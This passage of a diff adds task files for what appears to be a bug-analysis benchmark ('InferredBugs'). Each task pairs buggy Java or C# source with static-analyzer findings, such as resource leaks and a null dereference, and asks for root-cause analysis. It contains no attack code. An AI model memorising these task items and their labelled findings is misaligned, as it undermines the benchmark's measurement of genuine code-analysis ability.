+                            .contains(fileName.split(".png")[0].toLowerCase()))
+
+                        {
+
+                            try {
+                                String deviceFrame = files1[i].toString();
+                                String screenToBeFramed = System.getProperty("user.dir") +
+                                    "/target/screenshot/" + device + "/" + device_udid
+                                    .replaceAll("\\W", "_") + "/" + className + "/" + methodName
+                                    + "/" + deviceModel + "_" + methodName + "_failed.png";
+                                String framedScreenShot =
+                                    System.getProperty("user.dir") + "/target/screenshot/" + device
+                                        + "/" + device_udid.replaceAll("\\W", "_") + "/" + className
+                                        + "/" + methodName + "/" + deviceModel + "_failed_"
+                                        + methodName + "_framed.png";
+                                imageUtils.wrapDeviceFrames(deviceFrame, screenToBeFramed,
+                                    framedScreenShot);
+                                File deleteActualImage = new File(screenToBeFramed);
+                                deleteActualImage.delete();
+                                break;
+                            } catch (InterruptedException e) {
+                                e.printStackTrace();
+                            } catch (IM4JavaException e) {
+                                e.printStackTrace();
+                            }
+                        }
+                    }
+                }
+            }
+        } catch (IOException e) {
+            // TODO Auto-generated catch block
+            e.printStackTrace();
+            System.out.println("Resource Directory was not found");
+        }
+    }
+
+    public void captureScreenshot(String methodName, String device, String className)
+        throws IOException, InterruptedException {
+        scrFile = ((TakesScreenshot) driver).getScreenshotAs(OutputType.FILE);
+        FileUtils.copyFile(scrFile, new File(
+            System.getProperty("user.dir") + "/target/screenshot/" + device + "/" + device_udid
+                .replaceAll("\\W", "_") + "/" + className + "/" + methodName + "/" + deviceModel
+                + "_" + methodName + "_failed" + ".png"));
+        Thread.sleep(3000);
+    }
+
+    public void logger(String message) {
+        ExtentTestManager.logger(message);
+    }
+
+    public void captureScreenShot(String screenShotName, int status, String screenClassName)
+        throws IOException, InterruptedException {
+        File scrFile = ((TakesScreenshot) driver).getScreenshotAs(OutputType.FILE);
+        StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
+        String methodName = screenShotName;
+        String className = screenClassName;
+        screenShotNameWithTimeStamp = currentDateAndTime();
+        if (driver.toString().split(":")[0].trim().equals("AndroidDriver")) {
+            String androidModel =
+                screenShotNameWithTimeStamp + androidDevice.getDeviceModel(device_udid);
+            screenShotAndFrame(screenShotName, status, scrFile, methodName, className, androidModel,
+                "android");
+        } else if (driver.toString().split(":")[0].trim().equals("IOSDriver")) {
+            String iosModel = screenShotNameWithTimeStamp + iosDevice
+                .getIOSDeviceProductTypeAndVersion(device_udid);
+            screenShotAndFrame(screenShotName, status, scrFile, methodName, className, iosModel,
+                "iOS");
+        }
+    }
+
+    public void captureScreenShot(String screenShotName) throws InterruptedException, IOException {
+        File scrFile = ((TakesScreenshot) driver).getScreenshotAs(OutputType.FILE);
+        StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
+        String methodName = new Exception().getStackTrace()[1].getMethodName();
+        String className = new Exception().getStackTrace()[1].getClassName();
+        screenShotNameWithTimeStamp = currentDateAndTime();
+        if (driver.toString().split(":")[0].trim().equals("AndroidDriver")) {
+            String androidModel =
+                screenShotNameWithTimeStamp + androidDevice.getDeviceModel(device_udid);
+            screenShotAndFrame(screenShotName, 1, scrFile, methodName, className, androidModel,
+                "android");
+        } else if (driver.toString().split(":")[0].trim().equals("IOSDriver")) {
+            String iosModel = screenShotNameWithTimeStamp + iosDevice
+                .getIOSDeviceProductTypeAndVersion(device_udid);
+            screenShotAndFrame(screenShotName, 1, scrFile, methodName, className, iosModel, "iOS");
+        }
+    }
+
+    public void screenShotAndFrame(String screenShotName, int status, File scrFile,
+        String methodName, String className, String model, String platform) {
+        String failedScreen =
+            System.getProperty("user.dir") + "/target/screenshot/" + platform + "/" + device_udid
+                .replaceAll("\\W", "_") + "/" + className + "/" + methodName + "/" + deviceModel
+                + "_" + methodName + "_failed" + ".png";
+        String capturedScreen =
+            System.getProperty("user.dir") + "/target/screenshot/" + platform + "/" + device_udid
+                .replaceAll("\\W", "_") + "/" + className + "/" + methodName + "/" + screenShotName
+                + ".png";
+        String framedCapturedScreen =
+            System.getProperty("user.dir") + "/target/screenshot/" + platform + "/" + device_udid
+                .replaceAll("\\W", "_") + "/" + className + "/" + methodName + "/" + model + "_"
+                + screenShotName + "_results.png";
+        String framedFailedScreen =
+            System.getProperty("user.dir") + "/target/screenshot/" + platform +
+                "/" + device_udid.replaceAll("\\W", "_") + "/" + className + "/" + methodName + "/"
+                + model + "_failed_" + methodName + "_framed.png";
+
+        try {
+            File framePath =
+                new File(System.getProperty("user.dir") + "/src/test/resources/frames/");
+            if (status == ITestResult.FAILURE) {
+                FileUtils.copyFile(scrFile, new File(failedScreen));
+            } else {
+                FileUtils.copyFile(scrFile, new File(capturedScreen));
+            }
+
+            File[] files1 = framePath.listFiles();
+            if (framePath.exists()) {
+                for (int i = 0; i < files1.length; i++) {
+                    if (files1[i].isFile()) { //this line weeds out other directories/folders
+                        System.out.println(files1[i]);
+
+                        Path p = Paths.get(files1[i].toString());
+                        String fileName = p.getFileName().toString().toLowerCase();
+                        if (model.toString().toLowerCase()
+                            .contains(fileName.split(".png")[0].toLowerCase())) {
+                            try {
+                                if (status == ITestResult.FAILURE) {
+                                    String screenToFrame = failedScreen;
+                                    imageUtils.wrapDeviceFrames(files1[i].toString(), screenToFrame,
+                                        framedFailedScreen);
+                                    ExtentTestManager.logOutPut(framedFailedScreen,
+                                        screenShotName.toUpperCase());
+                                    File fileToDelete = new File(screenToFrame);
+                                    fileToDelete.delete();
+                                } else {
+                                    String screenToFrame = capturedScreen;
+                                    imageUtils.wrapDeviceFrames(files1[i].toString(), screenToFrame,
+                                        framedCapturedScreen);
+                                    ExtentTestManager.logOutPut(framedCapturedScreen,
+                                        screenShotName.toUpperCase());
+                                    File fileToDelete = new File(screenToFrame);
+                                    fileToDelete.delete();
+                                }
+
+                                break;
+                            } catch (InterruptedException e) {
+                                e.printStackTrace();
+                            } catch (IM4JavaException e) {
+                                e.printStackTrace();
+                            }
+                        }
+                    }
+                }
+            }
+
+        } catch (IOException e) {
+            // TODO Auto-generated catch block
+            e.printStackTrace();
+        }
+    }
+
+    public String currentDateAndTime() {
+        LocalDateTime now = LocalDateTime.now();
+        DateTimeFormatter dtf = DateTimeFormatter.ISO_DATE_TIME;
+        return now.truncatedTo(ChronoUnit.SECONDS).format(dtf);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.lang.Process` acquired to `com.appium.utils.CommandPrompt.p` by call to `checkiOSDevice(...)` at line 175 is not released after line 176.
+**Note**: potential exception at line 173
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+AppiumDriver AppiumParallelTest.startAppiumServerInParallel(String)
+
+### Procedure Id:
+com.appium.manager.AppiumParallelTest.startAppiumServerInParallel(java.lang.String):io.appium.java_c.15bf62474cfe9b582b66880ccf89395c
+
+### File:
+src/main/java/com/appium/manager/AppiumParallelTest.java
+
+### Key:
+AppiumParallelTest.java|startAppiumServerInParallel|RESOURCE_LEAK
+
+### Node Key:
+029cc97151e2d4d8a49f2551c8f2c484
+
+### Hash:
+4ba982969bb89abb882211889baff8f9
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1045/instruction.md b/inferredbugs-1045/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7da13f8fce62cf4245a301f7b8eda3f38bb79a55
--- /dev/null
+++ b/inferredbugs-1045/instruction.md
@@ -0,0 +1,231 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** inotify
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Inotify.Data;
+using Inotify.Data.Models;
+using Inotify.Sends;
+using Inotify.Sends.Products;
+using Microsoft.AspNetCore.Authorization;
+using Microsoft.AspNetCore.Mvc;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+
+namespace Inotify.Controllers
+{
+    [ApiController]
+    [Route("api/setting")]
+    public class SettingControlor : BaseControlor
+    {
+        [HttpGet, Authorize(Policys.SystemOrUsers)]
+        public JsonResult Index()
+        {
+            return OK();
+        }
+
+        [HttpGet, Route("GetSendTemplates"), Authorize(Policys.SystemOrUsers)]
+        public JsonResult GetSendTemplates()
+        {
+            var sendTemplates = SendTaskManager.Instance.GetInputTemeplates().Values;
+            return OK(sendTemplates);
+        }
+
+        [HttpGet, Route("GetSendAuths"), Authorize(Policys.SystemOrUsers)]
+        public JsonResult GetSendAuths()
+        {
+            var userInfo = DBManager.Instance.GetUser(UserName);
+            if (userInfo != null)
+            {
+                var barkTemplateAttribute = typeof(BarkSendTemplate).GetCustomAttributes(typeof(SendMethodKeyAttribute), false).OfType<SendMethodKeyAttribute>().First();
+                var sendAuthInfos = DBManager.Instance.DBase.Query<SendAuthInfo>().Where(e => e.UserId == userInfo.Id).ToArray();
+                var userSendTemplates = new List<InputTemeplate>();
+                foreach (var sendAuthInfo in sendAuthInfos)
+                {
+                    var sendTemplate = SendTaskManager.Instance.GetInputTemplate(sendAuthInfo.SendMethodTemplate);
+                    if (sendTemplate != null)
+                    {
+                        sendTemplate.Name = sendAuthInfo.Name;
+                        sendTemplate.AuthData = sendAuthInfo.AuthData;
+                        sendTemplate.SendAuthId = sendAuthInfo.Id;
+                        sendTemplate.IsActive = sendAuthInfo.Active;
+                        sendTemplate.AuthToTemplate(sendAuthInfo.AuthData);
+                        userSendTemplates.Add(sendTemplate);
+                    }
+                    if (barkTemplateAttribute.Key == sendTemplate.Key)
+                    {
+                        sendTemplate.Values.FirstOrDefault(e => e.Name == nameof(BarkSendTemplate.Auth.SendUrl)).Value = "";
+                    }
+                }
+
+                return OK(userSendTemplates);
+            }
+            return Fail();
+        }
+
+        [HttpPost, Route("ActiveSendAuth"), Authorize(Policys.SystemOrUsers)]
+        public JsonResult ActiveSendAuth(int sendAuthId, bool state)
+        {
+            var userInfo = DBManager.Instance.GetUser(UserName);
+            if (userInfo != null)
+            {
+                var authInfo = DBManager.Instance.DBase.Query<SendAuthInfo>().FirstOrDefault(e => e.Id == sendAuthId && e.UserId == userInfo.Id);
+                if (authInfo != null)
+                {
+                    authInfo.Active = state;
+                    DBManager.Instance.DBase.Update(authInfo);
+                    return OK(authInfo);
+                }
+            }
+            return Fail();
+        }
+
+        [HttpPost, Route("DeleteSendAuth"), Authorize(Policys.SystemOrUsers)]
+        public JsonResult DeleteSendAuth(int sendAuthId)
+        {
+            var userInfo = DBManager.Instance.GetUser(UserName);
+            if (userInfo != null)
+            {
+                var authInfo = DBManager.Instance.DBase.Query<SendAuthInfo>().FirstOrDefault(e => e.Id == sendAuthId && e.UserId == userInfo.Id);
+                if (authInfo != null)
+                {
+                    DBManager.Instance.DBase.Delete(authInfo);
+                    return OK();
+                }
+            }
+            return Fail();
+        }
+
+        [HttpPost, Route("AddSendAuth"), Authorize(Policys.SystemOrUsers)]
+        public JsonResult AddSendAuth(InputTemeplate inputTemeplate)
+        {
+            var userInfo = DBManager.Instance.GetUser(UserName);
+            if (userInfo != null && inputTemeplate.Key != null && inputTemeplate.Name != null)
+            {
+                var barkKey = typeof(BarkSendTemplate).GetCustomAttributes(typeof(SendMethodKeyAttribute), false).OfType<SendMethodKeyAttribute>().First().Key;
+                if (barkKey == inputTemeplate.Key)
+                {
+                    return Fail(406, "BARK通道勿手动添加，请使用APP添加BARK地址绑定");
+                }
+                else
+                {
+                    var authInfo = inputTemeplate.TemplateToAuth();
+                    var sendAuth = new SendAuthInfo()
+                    {
+                        UserId = userInfo.Id,
+                        SendMethodTemplate = inputTemeplate.Key,
+                        AuthData = authInfo,
+                        Name = inputTemeplate.Name,
+                        CreateTime = DateTime.Now,
+                        ModifyTime = DateTime.Now,
+                    };
+                    DBManager.Instance.DBase.Insert(sendAuth);
+                    return OK(sendAuth);
+
+                }
+            }
+            return Fail();
+        }
+
+        [HttpPost, Route("ModifySendAuth"), Authorize(Policys.SystemOrUsers)]
+        public JsonResult ModifySendAuth(InputTemeplate inputTemeplate)
+        {
+            var userInfo = DBManager.Instance.GetUser(UserName);
+            if (userInfo != null)
+            {
+                var barkTemplateAttribute = typeof(BarkSendTemplate).GetCustomAttributes(typeof(SendMethodKeyAttribute), false).OfType<SendMethodKeyAttribute>().First();
+                var oldSendInfo = DBManager.Instance.DBase.Query<SendAuthInfo>().FirstOrDefault(e => e.Id == inputTemeplate.SendAuthId);
+                if (oldSendInfo != null && inputTemeplate.Name != null)
+                {
+                    oldSendInfo.Name = inputTemeplate.Name;
+                    oldSendInfo.AuthData = inputTemeplate.TemplateToAuth();
+                    oldSendInfo.ModifyTime = DateTime.Now;
+                    DBManager.Instance.DBase.Update(oldSendInfo);
+                }
+                return OK(oldSendInfo);
+            }
+            return Fail();
+        }
+
+        [HttpGet, Route("GetSendKey"), Authorize(Policys.SystemOrUsers)]
+        public JsonResult GetSendKey()
+        {
+            var userInfo = DBManager.Instance.GetUser(UserName);
+            if (userInfo != null)
+            {
+                return OK(userInfo.Token);
+            }
+
+            return Fail();
+
+        }
+
+        [HttpGet, Route("ReSendKey"), Authorize(Policys.SystemOrUsers)]
+        public JsonResult ReSendKey()
+        {
+            var userInfo = DBManager.Instance.GetUser(UserName);
+            if (userInfo != null)
+            {
+                userInfo.Token = Guid.NewGuid().ToString("N").ToUpper();
+                DBManager.Instance.DBase.Update(userInfo);
+                return OK(userInfo.Token);
+            }
+            return Fail();
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from Inotify.Data.DBManager Inotify.Data.DBManager::get_Instance() at Line 118).Inotify.Data.DBManager.m_migrator of type NPoco.Migrations.Migrator, Leaked resource (returned from Inotify.Data.DBManager Inotify.Data.DBManager::get_Instance() at Line 118).Inotify.Data.DBManager.m_dbConnection of type Microsoft.Data.Sqlite.SqliteConnection, Leaked resource (returned from Inotify.Data.DBManager Inotify.Data.DBManager::get_Instance() at Line 98).Inotify.Data.DBManager.m_migrator of type NPoco.Migrations.Migrator, Leaked resource (returned from Inotify.Data.DBManager Inotify.Data.DBManager::get_Instance() at Line 98).Inotify.Data.DBManager.m_dbConnection of type Microsoft.Data.Sqlite.SqliteConnection in method "JsonResult SettingControlor.AddSendAuth(InputTemeplate)".
+
+### Severity:
+ERROR
+
+### Procedure:
+JsonResult SettingControlor.AddSendAuth(InputTemeplate)
+
+### File:
+Inotify/Controllers/SettingControlor.cs
+
+### Key:
+SettingControlor.cs|AddSendAuth|DOTNET_RESOURCE_LEAK
+
+### Hash:
+a3978d20cc04d7b055dcf885cbe0184a
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10470/instruction.md b/inferredbugs-10470/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f1cf43fed534276e81e4f486b5f0fbadfd343846
--- /dev/null
+++ b/inferredbugs-10470/instruction.md
@@ -0,0 +1,204 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jongo
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright (C) 2011 Benoit GUEROUT <bguerout at gmail dot com> and Yves AMSELLEM <amsellem dot yves at gmail dot com>
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.jongo;
+
+import com.mongodb.WriteConcern;
+import org.bson.types.ObjectId;
+import org.jongo.marshall.Marshaller;
+import org.jongo.model.People;
+import org.jongo.util.JongoTestCase;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+
+import static org.fest.assertions.Assertions.assertThat;
+import static org.mockito.Matchers.anyObject;
+import static org.mockito.Mockito.*;
+
+public class SaveTest extends JongoTestCase {
+
+    private MongoCollection collection;
+    private People people;
+
+    @Before
+    public void setUp() throws Exception {
+        collection = createEmptyCollection("users");
+        people = new People("John", "22 Wall Street Avenue");
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        dropCollection("users");
+    }
+
+    @Test
+    public void canSavePOJO() throws Exception {
+        /* given */
+        String id = collection.save(people);
+
+        assertThat(collection.count("{}")).isEqualTo(1);
+        assertThat(id).isNotNull();
+    }
+
+    @Test
+    @Ignore
+    public void whenNoSpecifyShouldSaveWithCollectionWriteConcern() throws Exception {
+
+        collection.getDBCollection().setWriteConcern(WriteConcern.JOURNAL_SAFE);
+        WriteConcern writeConcern = spy(collection.getDBCollection().getWriteConcern());
+
+        collection.save(people, writeConcern);
+
+        verify(writeConcern).callGetLastError();
+    }
+
+    @Test
+    @Ignore
+    public void canSaveWithWriteConcern() throws Exception {
+
+        WriteConcern writeConcern = spy(WriteConcern.SAFE);
+
+        collection.save(people, writeConcern);
+
+        verify(writeConcern).callGetLastError();
+    }
+
+    @Test
+    public void canSavedAnObjectWithAnObjectId() throws Exception {
+
+        ObjectId id = new ObjectId();
+        People john = new People(id, "John");
+
+        String savedId = collection.save(john);
+
+        assertThat(savedId).isEqualTo(id.toString());
+    }
+
+    @Test
+    public void canModifyAlreadySavedEntity() throws Exception {
+        /* given */
+        String idAsString = collection.save(new People("John", "21 Jump Street"));
+        ObjectId id = new ObjectId(idAsString);
+        People people = collection.findOne(id).as(People.class);
+        people.setAddress("new address");
+
+        /* when */
+        collection.save(people);
+
+        /* then */
+        people = collection.findOne(id).as(People.class);
+        assertThat(people.getId()).isEqualTo(id);
+        assertThat(people.getAddress()).isEqualTo("new address");
+    }
+
+    @Test
+    public void canSaveAnObjectWithAnObjectId() throws Exception {
+
+        People john = new People(new ObjectId("47cc67093475061e3d95369d"), "John");
+
+        String id = collection.save(john);
+
+        People result = collection.findOne(new ObjectId(id)).as(People.class);
+        assertThat(result).isNotNull();
+        assertThat(result.getId()).isEqualTo("47cc67093475061e3d95369d");
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void shouldFailWhenMarshalledJsonIsInvalid() throws Exception {
+
+        Marshaller marshaller = mock(Marshaller.class);
+        when(marshaller.marshall(anyObject())).thenReturn("invalid");
+        Save save = new Save(collection.getDBCollection(), marshaller, new Object());
+
+        save.execute();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `people` last assigned on line 104 could be null and is dereferenced at line 105.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void SaveTest.canModifyAlreadySavedEntity()
+
+### Procedure Id:
+org.jongo.SaveTest.canModifyAlreadySavedEntity():void.16bcdc89aed58dc65d362d4a88e615c5
+
+### File:
+src/test/java/org/jongo/SaveTest.java
+
+### Key:
+SaveTest.java|canModifyAlreadySavedEntity|NULL_DEREFERENCE
+
+### Node Key:
+88a9d456c6c70359cc9430e108e79cdb
+
+### Hash:
+abde7f141076c1b08d5876701867b83a
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10471/instruction.md b/inferredbugs-10471/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..cd10ff42911d54b6aeff774401e2b7168f781885
--- /dev/null
+++ b/inferredbugs-10471/instruction.md
@@ -0,0 +1,397 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jackson-dataformats-text
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.fasterxml.jackson.dataformat.javaprop;
+
+import java.io.*;
+import java.net.URL;
+import java.util.*;
+
+import com.fasterxml.jackson.core.*;
+import com.fasterxml.jackson.core.format.InputAccessor;
+import com.fasterxml.jackson.core.format.MatchStrength;
+import com.fasterxml.jackson.core.io.IOContext;
+import com.fasterxml.jackson.dataformat.javaprop.impl.PropertiesBackedGenerator;
+import com.fasterxml.jackson.dataformat.javaprop.impl.WriterBackedGenerator;
+import com.fasterxml.jackson.dataformat.javaprop.io.Latin1Reader;
+
+@SuppressWarnings("resource")
+public class JavaPropsFactory extends JsonFactory
+{
+    private static final long serialVersionUID = 1L;
+
+    public final static String FORMAT_NAME_JAVA_PROPERTIES = "java_properties";
+
+    protected final static String CHARSET_ID_LATIN1 = "ISO-8859-1";
+
+    /*
+    /**********************************************************
+    /* Factory construction, configuration
+    /**********************************************************
+     */
+    
+    public JavaPropsFactory() { }
+
+    public JavaPropsFactory(ObjectCodec codec) {
+        super(codec);
+    }
+
+    protected JavaPropsFactory(JavaPropsFactory src, ObjectCodec oc)
+    {
+        super(src, oc);
+    }
+
+    @Override
+    public JavaPropsFactory copy()
+    {
+        _checkInvalidCopy(JavaPropsFactory.class);
+        return new JavaPropsFactory(this, null);
+    }
+
+    /*                                                                                       
+    /**********************************************************                              
+    /* Versioned                                                                             
+    /**********************************************************                              
+     */
+
+    @Override
+    public Version version() {
+        return PackageVersion.VERSION;
+    }
+    
+    /*
+    /**********************************************************
+    /* Format detection functionality
+    /**********************************************************
+     */
+    
+    @Override
+    public String getFormatName() {
+        return FORMAT_NAME_JAVA_PROPERTIES;
+    }
+    
+    /**
+     * Sub-classes need to override this method
+     */
+    @Override
+    public MatchStrength hasFormat(InputAccessor acc) throws IOException
+    {
+        // TODO, if possible... probably isn't?
+        return MatchStrength.INCONCLUSIVE;
+    }
+
+    /*
+    /**********************************************************
+    /* Capability introspection
+    /**********************************************************
+     */
+
+    // Not positional
+    @Override
+    public boolean requiresPropertyOrdering() {
+        return false;
+    }
+
+    // Can not handle raw binary data
+    @Override
+    public boolean canHandleBinaryNatively() {
+        return false;
+    }
+
+    // Not using char[] internally
+    @Override
+    public boolean canUseCharArrays() { return false; }
+
+    // No format-specific configuration, yet:
+/*    
+    @Override
+    public Class<? extends FormatFeature> getFormatReadFeatureType() {
+        return null;
+    }
+
+    @Override
+    public Class<? extends FormatFeature> getFormatWriteFeatureType() {
+        return null;
+    }
+*/
+
+    @Override
+    public boolean canUseSchema(FormatSchema schema) {
+        return schema instanceof JavaPropsSchema;
+    }
+
+    /*
+    /**********************************************************
+    /* Extended parser/generator factory methods
+    /**********************************************************
+     */
+
+    /**
+     * Convenience method to allow feeding a pre-parsed {@link Properties}
+     * instance as input.
+     *
+     * @since 2.9
+     */
+    public JavaPropsParser createParser(Properties props) {
+        return new JavaPropsParser(_createContext(props, true),
+                props, _parserFeatures, _objectCodec, props);
+    }
+
+    /**
+     * Convenience method to allow using a pre-constructed {@link Properties}
+     * instance as output target, so that serialized property values
+     * are added.
+     *
+     * @since 2.9
+     */
+    public JavaPropsGenerator createGenerator(Properties props) {
+        return new PropertiesBackedGenerator(_createContext(props, true),
+                props, _generatorFeatures, _objectCodec);
+    }
+
+    /*
+    /**********************************************************
+    /* Overridden parser factory methods
+    /**********************************************************
+     */
+
+    @Override
+    public JsonParser createParser(File f) throws IOException {
+        return _createParser(new FileInputStream(f), _createContext(f, true));
+    }
+
+    @Override
+    public JsonParser createParser(URL url) throws IOException {
+        return _createParser(_optimizedStreamFromURL(url), _createContext(url, true));
+    }
+
+    @Override
+    public JsonParser createParser(InputStream in) throws IOException {
+        return _createParser(in, _createContext(in, false));
+    }
+
+    @Override
+    public JsonParser createParser(byte[] data) throws IOException {
+        return _createParser(data, 0, data.length, _createContext(data, true));
+    }
+
+    @Override
+    public JsonParser createParser(byte[] data, int offset, int len) throws IOException {
+        return _createParser(data, offset, len, _createContext(data, true));
+    }
+
+    /*
+    /**********************************************************
+    /* Overridden generator factory methods
+    /**********************************************************
+     */
+
+    @Override
+    public JsonGenerator createGenerator(OutputStream out, JsonEncoding enc) throws IOException {
+        IOContext ctxt = _createContext(out, false);
+        ctxt.setEncoding(enc);
+        out = _decorate(out, ctxt);
+        return _createJavaPropsGenerator(ctxt, _generatorFeatures, _objectCodec, out);
+    }
+
+    /**
+     * Method for constructing {@link JsonGenerator} for generating
+     * CBOR-encoded output.
+     *<p>
+     * Since CBOR format always uses UTF-8 internally, no encoding need
+     * to be passed to this method.
+     */
+    @Override
+    public JsonGenerator createGenerator(OutputStream out) throws IOException {
+        IOContext ctxt = _createContext(out, false);
+        out = _decorate(out, ctxt);
+        return _createJavaPropsGenerator(ctxt, _generatorFeatures, _objectCodec, out);
+    }
+
+    /*
+    /******************************************************
+    /* Overridden internal factory methods, parser
+    /******************************************************
+     */
+
+    /* // fine as-is: 
+    @Override
+    protected IOContext _createContext(Object srcRef, boolean resourceManaged) {
+        return super._createContext(srcRef, resourceManaged);
+    }
+    */
+
+    @Override
+    protected JsonParser _createParser(InputStream in, IOContext ctxt) throws IOException
+    {
+        Properties props = _loadProperties(in, ctxt);
+        return new JavaPropsParser(ctxt, in, _parserFeatures, _objectCodec, props);
+    }
+
+    @Override
+    protected JsonParser _createParser(Reader r, IOContext ctxt) throws IOException {
+        Properties props = _loadProperties(r, ctxt);
+        return new JavaPropsParser(ctxt, r, _parserFeatures, _objectCodec, props);
+    }
+
+    @Override
+    protected JsonParser _createParser(char[] data, int offset, int len, IOContext ctxt,
+            boolean recyclable) throws IOException
+    {
+        return _createParser(new CharArrayReader(data, offset, len), ctxt);
+    }
+
+    @Override
+    protected JsonParser _createParser(byte[] data, int offset, int len, IOContext ctxt) throws IOException
+    {
+        return _createParser(new Latin1Reader(data, offset, len), ctxt);
+    }
+
+    /*
+    /******************************************************
+    /* Overridden internal factory methods, generator
+    /******************************************************
+     */
+    
+    @Override
+    protected JsonGenerator _createGenerator(Writer out, IOContext ctxt) throws IOException
+    {
+        return new WriterBackedGenerator(ctxt, out, _generatorFeatures, _objectCodec);
+    }
+
+    @Override
+    protected JsonGenerator _createUTF8Generator(OutputStream out, IOContext ctxt) throws IOException {
+        return _createJavaPropsGenerator(ctxt, _generatorFeatures, _objectCodec, out);
+    }
+
+    @Override
+    protected Writer _createWriter(OutputStream out, JsonEncoding enc, IOContext ctxt) throws IOException {
+        // 27-Jan-2016, tatu: Properties javadoc is quite clear on Latin-1 (ISO-8859-1) being
+        //    the default, so let's actually override
+        return new OutputStreamWriter(out, CHARSET_ID_LATIN1);
+    }
+
+    /*
+    /******************************************************
+    /* Low-level methods for reading/writing Properties; currently
+    /* we simply delegate to `java.util.Properties`
+    /******************************************************
+     */
+
+    protected Properties _loadProperties(InputStream in, IOContext ctxt)
+        throws IOException
+    {
+        // NOTE: Properties default to ISO-8859-1 (aka Latin-1), NOT UTF-8; this
+        // as per JDK documentation
+        return _loadProperties(new Latin1Reader(ctxt, in), ctxt);
+    }
+
+    protected Properties _loadProperties(Reader r0, IOContext ctxt)
+        throws IOException
+    {
+        Properties props = new Properties();
+        // May or may not want to close the reader, so...
+        if (ctxt.isResourceManaged()) {
+            try (Reader r = r0) {
+                props.load(r);
+            }
+        } else {
+            props.load(r0);
+        }
+        return props;
+    }
+
+    private final JsonGenerator _createJavaPropsGenerator(IOContext ctxt,
+            int stdFeat, ObjectCodec codec, OutputStream out) throws IOException
+    {
+        return new WriterBackedGenerator(ctxt, _createWriter(out, null, ctxt),
+                stdFeat, _objectCodec);
+                
+    }
+
+    /*
+    public static void main(String[] args) throws Exception
+    {
+        args = new String[] { "test.properties" };
+        Properties props = new Properties();
+//        props.load(new FileInputStream(args[0]));
+        props.load(new ByteArrayInputStream(new byte[0]));
+        System.out.printf("%d entries:\n", props.size());
+        int i = 1;
+        for (Map.Entry<?,?> entry : props.entrySet()) {
+            System.out.printf("#%d: %s -> %s\n", i++, entry.getKey(), entry.getValue());
+        }
+    }*/
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
